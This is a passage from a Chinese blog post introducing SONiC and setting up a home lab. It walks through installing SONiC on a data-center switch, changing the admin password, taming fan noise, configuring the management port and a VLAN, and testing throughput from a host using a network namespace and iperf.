&lt;p&gt;这让SONiC拥有了非常开放的生态（&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sonic-net.github.io&#x2F;SONiC&#x2F;index.html&quot;&gt;Community&lt;&#x2F;a&gt;，&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sonic-net.github.io&#x2F;SONiC&#x2F;Supported-Devices-and-Platforms.html&quot;&gt;Devices&lt;&#x2F;a&gt;，&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sonic-net.github.io&#x2F;SONiC&#x2F;workgroups.html&quot;&gt;Workgroups&lt;&#x2F;a&gt;），总体而言，SONiC的架构如下图所示 [&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;sonic-net&#x2F;SONiC&#x2F;wiki&#x2F;Architecture&quot;&gt;1]&lt;&#x2F;a&gt;：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;sonic-overview&#x2F;sonic-architecture.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;当然，这样的设计也有一些缺点，比如：对磁盘的占用会变大，不过，现在一点点存储空间并不是什么很大的问题，而且这个问题也都可以通过一些方法来解决。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-1-ying-jian-jiao-huan-ji&quot;&gt;3.1. 硬件交换机&lt;&#x2F;h3&gt;
&lt;p&gt;如果你自己就拥有一台交换机，或者想购买一台交换机，在上面安装SONiC，那么请认真阅读这一小节，否则可以自行跳过。:D&lt;&#x2F;p&gt;
&lt;h4 id=&quot;3-1-1-jiao-huan-ji-xuan-ze-he-sonican-zhuang&quot;&gt;3.1.1. 交换机选择和SONiC安装&lt;&#x2F;h4&gt;
&lt;p&gt;首先，请确认你的交换机是否支持SONiC，SONiC目前支持的交换机型号可以在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sonic-net.github.io&#x2F;SONiC&#x2F;Supported-Devices-and-Platforms.html&quot;&gt;这里&lt;&#x2F;a&gt;找到，如果你的交换机型号不在列表中，那么就需要联系厂商，看看是否有支持SONiC的计划。有很多交换机是不支持SONiC的，比如：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;普通针对家用的交换机，这些交换机的硬件配置都比较低（即便支持的带宽很高，比如&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mikrotik.com&#x2F;product&#x2F;crs504_4xq_in&quot;&gt;MikroTik CRS504-4XQ-IN&lt;&#x2F;a&gt;，虽然它支持100GbE网络，但是它只有16MB的Flash存储和64MB的RAM，所以基本只能跑它自己的RouterOS了）。&lt;&#x2F;li&gt;
&lt;li&gt;有些虽然是数据中心用的交换机，但是可能由于型号老旧，厂商并没有计划支持SONiC。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;对于安装过程，由于每一家厂商的交换机设计不同，其底层接口各有差别，所以，其安装方法也都有所差别，这些差别主要集中在两个地方：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;每个厂商都会有自己的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sonic-net.github.io&#x2F;SONiC&#x2F;Supported-Devices-and-Platforms.html&quot;&gt;SONiC Build&lt;&#x2F;a&gt;，还有的厂商会在SONiC的基础之上进行扩展开发，为自己的交换机支持更多的功能，比如：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.dell.com&#x2F;en-us&#x2F;shop&#x2F;povw&#x2F;sonic&quot;&gt;Dell Enterprise SONiC&lt;&#x2F;a&gt;，&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.edge-core.com&#x2F;sonic.php&quot;&gt;EdgeCore Enterprise SONiC&lt;&#x2F;a&gt;，所以需要根据自己的交换机选择对应的版本。&lt;&#x2F;li&gt;
&lt;li&gt;每个厂商的交换机也会支持不同的安装方式，有一些是直接使用USB对ROM进行Flash，有一些是通过ONIE进行安装，这也需要根据自己的交换机来进行配置。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;所以，虽然安装方法各有差别，但是总体而言，安装的步骤都是差不多的。请联系自己的厂商，获取对应的安装文档，然后按照文档进行安装即可。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;3-1-2-pei-zhi-jiao-huan-ji&quot;&gt;3.1.2. 配置交换机&lt;&#x2F;h4&gt;
&lt;p&gt;安装好之后，我们需要进行一些基础设置，部分设置是通用的，我们在这里简单总结一下。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;3-1-2-1-she-zhi-adminmi-ma&quot;&gt;3.1.2.1. 设置admin密码&lt;&#x2F;h5&gt;
&lt;p&gt;默认SONiC的账号密码是admin:YourPaSsWoRd，使用默认密码显然不安全：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;sudo passwd admin&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h5 id=&quot;3-1-2-2-she-zhi-feng-shan-zhuan-su&quot;&gt;3.1.2.2. 设置风扇转速&lt;&#x2F;h5&gt;
&lt;p&gt;数据中心用的交换机风扇声音都特别的大！比如，我用的交换机是Arista 7050QX-32S，上面有4个风扇，最高能到每分钟17000转，放在车库中，高频的啸叫即便是在二楼隔着3面墙还是能听得到，所以如果你是在家使用的话，建议对其进行一些设置，将转速调低。&lt;&#x2F;p&gt;
&lt;p&gt;可惜，&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;sonic-net&#x2F;SONiC&#x2F;blob&#x2F;master&#x2F;thermal-control-design.md&quot;&gt;由于SONiC并没有cli对风扇转速的规则进行控制&lt;&#x2F;a&gt;，所以我们需要通过手动修改pmon容器中的配置文件的方式来进行设置。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;# Enter pmon container&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;sudo docker exec -it pmon bash&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;# Use pwmconfig to detect all pwm fans and create configuration file. The configuration file will be created at &#x2F;etc&#x2F;fancontrol.&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;pwmconfig&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;# Start fancontrol and make sure it works. If it doesn&#x27;t work, you can run fancontrol directly to see what&#x27;s wrong.&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;VERBOSE=1 &#x2F;etc&#x2F;init.d&#x2F;fancontrol start&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;VERBOSE=1 &#x2F;etc&#x2F;init.d&#x2F;fancontrol status&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;# Exit pmon container&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;exit&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;# Copy the configuration file from the container to the host, so that the configuration will not be lost after reboot.&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;# This command needs to know what is the model of your switch, for example, the command I need to run here is as follows. If your switch model is different, please modify it yourself.&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;sudo docker cp pmon:&#x2F;etc&#x2F;fancontrol &#x2F;usr&#x2F;share&#x2F;sonic&#x2F;device&#x2F;x86_64-arista_7050_qx32s&#x2F;fancontrol&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h5 id=&quot;3-1-2-3-she-zhi-jiao-huan-ji-management-port-ip&quot;&gt;3.1.2.3. 设置交换机Management Port IP&lt;&#x2F;h5&gt;
&lt;p&gt;一般的数据中心用的交换机都提供了Serial Console连接的方式，但是其速度实在是太慢了，所以我们在安装完成之后，都会尽快的把Management Port给设置好，然后通过SSH的方式来进行管理。&lt;&#x2F;p&gt;
&lt;p&gt;一般来说，management port的设备名是eth0，所以我们可以通过SONiC的配置命令来进行设置：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;# sudo config interface ip add eth0 &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;# IPv4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;sudo config interface ip add eth0 192.168.1.2&#x2F;24 192.168.1.1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;# IPv6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;sudo config interface ip add eth0 2001::8&#x2F;64 2001::1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h5 id=&quot;3-1-2-4-chuang-jian-wang-luo-pei-zhi&quot;&gt;3.1.2.4. 创建网络配置&lt;&#x2F;h5&gt;
&lt;p&gt;新安装完的SONiC交换机会有一个默认的网络配置，这个配置有很多问题，比如对于10.0.0.0的IP的使用，如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;admin@sonic:~$ show ip interfaces&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;Interface    Master    IPv4 address&#x2F;mask    Admin&#x2F;Oper    BGP Neighbor    Neighbor IP&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;-----------  --------  -------------------  ------------  --------------  -------------&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;Ethernet0              10.0.0.0&#x2F;31          up&#x2F;up         ARISTA01T2      10.0.0.1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;Ethernet4              10.0.0.2&#x2F;31          up&#x2F;up         ARISTA02T2      10.0.0.3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;Ethernet8              10.0.0.4&#x2F;31          up&#x2F;up         ARISTA03T2      10.0.0.5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;所以我们需要创建一个新的网络配置，然后将我们使用的Port都放入到这个网络配置中。这里简单的方法就是创建一个VLAN，使用VLAN Routing：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;# Create untagged vlan&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;sudo config vlan add 2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;# Add IP to vlan&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;sudo config interface ip add Vlan2 10.2.0.0&#x2F;24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;# Remove all default IP settings&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;show ip interfaces | tail -n +3 | grep Ethernet | awk &#x27;{print &quot;sudo config interface ip remove&quot;, 2}&#x27; &amp;gt; oobe.sh; chmod +x oobe.sh; .&#x2F;oobe.sh&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;# Add all ports to the new vlan&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;show interfaces status | tail -n +3 | grep Ethernet | awk &#x27;{print &quot;sudo config vlan member add -u 2&quot;, $1}&#x27; &amp;gt; oobe.sh; chmod +x oobe.sh; .&#x2F;oobe.sh&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;# Enable proxy arp, so switch can respond to arp requests from hosts&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;sudo config vlan proxy_arp 2 enabled&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;# Save config, so it will be persistent after reboot&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;sudo config save -y&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;这样就完成了，我们可以通过show vlan brief来查看一下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;admin@sonic:~$ show vlan brief&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;+-----------+--------------+-------------+----------------+-------------+-----------------------+&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;|   VLAN ID | IP Address   | Ports       | Port Tagging   | Proxy ARP   | DHCP Helper Address   |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;+===========+==============+=============+================+=============+=======================+&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;|         2 | 10.2.0.0&#x2F;24  | Ethernet0   | untagged       | enabled     |                       |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;...&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;|           |              | Ethernet124 | untagged       |             |                       |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;+-----------+--------------+-------------+----------------+-------------+-----------------------+&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h5 id=&quot;3-1-2-5-pei-zhi-zhu-ji&quot;&gt;3.1.2.5. 配置主机&lt;&#x2F;h5&gt;
&lt;p&gt;如果你家里只有一台主机使用多网口连接交换机进行测试，那么我们还需要在主机上进行一些配置，以保证流量会通过网卡，流经交换机，否则，请跳过这一步。&lt;&#x2F;p&gt;
&lt;p&gt;这里网上的攻略很多，比如使用iptables中的DNAT和SNAT创建一个虚拟地址，但是过程非常繁琐，经过一些实验，我发现最简单的办法就是将其中一个网口移动到一个新的网络命名空间中，就可以了，即便使用的是同一个网段的IP，也不会有问题。&lt;&#x2F;p&gt;
&lt;p&gt;比如，我家使用的是Netronome Agilio CX 2x40GbE，它会创建两个interface：&lt;code&gt;enp66s0np0&lt;&#x2F;code&gt;和&lt;code&gt;enp66s0np1&lt;&#x2F;code&gt;，我们这里可以将&lt;code&gt;enp66s0np1&lt;&#x2F;code&gt;移动到一个新的网络命名空间中，再配置好ip地址就可以了：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;# Create a new network namespace&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;sudo ip netns add toy-ns-1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;# Move the interface to the new namespace&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;sudo ip link set enp66s0np1 netns toy-ns-1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;# Setting up IP and default routes&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;sudo ip netns exec toy-ns-1 ip addr add 10.2.0.11&#x2F;24 dev enp66s0np1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;sudo ip netns exec toy-ns-1 ip link set enp66s0np1 up&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;sudo ip netns exec toy-ns-1 ip route add default via 10.2.0.1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;这样就可以了，我们可以通过iperf来测试一下，并在交换机上进行确认：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;# On the host (enp66s0np0 has ip 10.2.0.10 assigned)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;$ iperf -s --bind 10.2.0.10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;# Test within the new network namespace&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;$ sudo ip netns exec toy-ns-1 iperf -c 10.2.0.10 -i 1 -P 16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;------------------------------------------------------------&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;Client connecting to 10.2.0.10, TCP port 5001&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;TCP window size: 85.0 KByte (default)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;------------------------------------------------------------&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;...&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;[SUM] 0.0000-10.0301 sec  30.7 GBytes  26.3 Gbits&#x2F;sec&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;[ CT] final connect times (min&#x2F;avg&#x2F;max&#x2F;stdev) = 0.288&#x2F;0.465&#x2F;0.647&#x2F;0.095 ms (tot&#x2F;err) = 16&#x2F;0&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;# Confirm on switch&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;admin@sonic:~$ show interfaces counters&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      IFACE    STATE       RX_OK        RX_BPS    RX_UTIL    RX_ERR    RX_DRP    RX_OVR       TX_OK        TX_BPS    TX_UTIL    TX_ERR    TX_DRP    TX_OVR&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;-----------  -------  ----------  ------------  ---------  --------  --------  --------  ----------  ------------  ---------  --------  --------  --------&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  Ethernet4        U   2,580,140  6190.34 KB&#x2F;s      0.12%         0     3,783         0  51,263,535  2086.64 MB&#x2F;s     41.73%         0         0         0&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; Ethernet12        U  51,261,888  2086.79 MB&#x2F;s     41.74%         0         1         0   2,580,317  6191.00 KB&#x2F;s      0.12%         0         0         0&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;3-2-ruan-jian-jiao-huan-ji&quot;&gt;3.2. 软件交换机&lt;&#x2F;h3&gt;
&lt;p&gt;如果你没有交换机，想自己在家里虚拟一个玩，那么可以参考我的这篇文章：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;r12f.com&#x2F;posts&#x2F;sonic-local-lab-gns3&#x2F;&quot;&gt;通过GNS3快速搭建本地SONiC Lab&lt;&#x2F;a&gt;。配置过程还是比较简单的，大概半个小时左右就可以搞定（主要是等待下载或者导入镜像之类的）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;4-fa-zhan-fang-xiang&quot;&gt;4. 发展方向&lt;&#x2F;h2&gt;
&lt;p&gt;虽然交换机已经发展很多很多年了，但是随着现在云的发展，对网络的要求也越来越高，不管是直观的需求，比如更大的带宽，更大的容量，还是最新的研究，比如，带内计算，端网融合等等，都对交换机的发展提出了更高的要求和挑战，也促使着各大厂商和研究机构不断的进行创新。SONiC也一样，随着时间的发展，需求一点没有减少。&lt;&#x2F;p&gt;
&lt;p&gt;关于SONiC的发展方向，我们可以在它的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;sonic-net&#x2F;SONiC&#x2F;wiki&#x2F;Sonic-Roadmap-Planning&quot;&gt;roadmap&lt;&#x2F;a&gt;中看到。如果大家对最新的动态感兴趣，也可以关注它的Workshop，比如，最近的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;playlist?list=PLAG-eekRQBSjwK0DpyHJs76gOz1619KqW&quot;&gt;OCP Global Summit 2022 - SONiC Workshop&lt;&#x2F;a&gt;。这里就不展开了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;5-zong-jie&quot;&gt;5. 总结&lt;&#x2F;h2&gt;
&lt;p&gt;好了，为了避免我的老毛病 —— 文章过长，我们就先到此为止。&lt;&#x2F;p&gt;
&lt;p&gt;这篇文章主要是对SONiC的一个简单介绍，以及如何在家里搭建一个SONiC的实验环境，以便于大家可以自己动手玩一玩。如果你对SONiC感兴趣，可以参考下面的参考资料，了解更多的信息。后面我有时间也会接着进行总结。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;6-can-kao-zi-liao&quot;&gt;6. 参考资料&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;sonic-net&#x2F;SONiC&#x2F;wiki&#x2F;Architecture&quot;&gt;SONiC Architecture&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
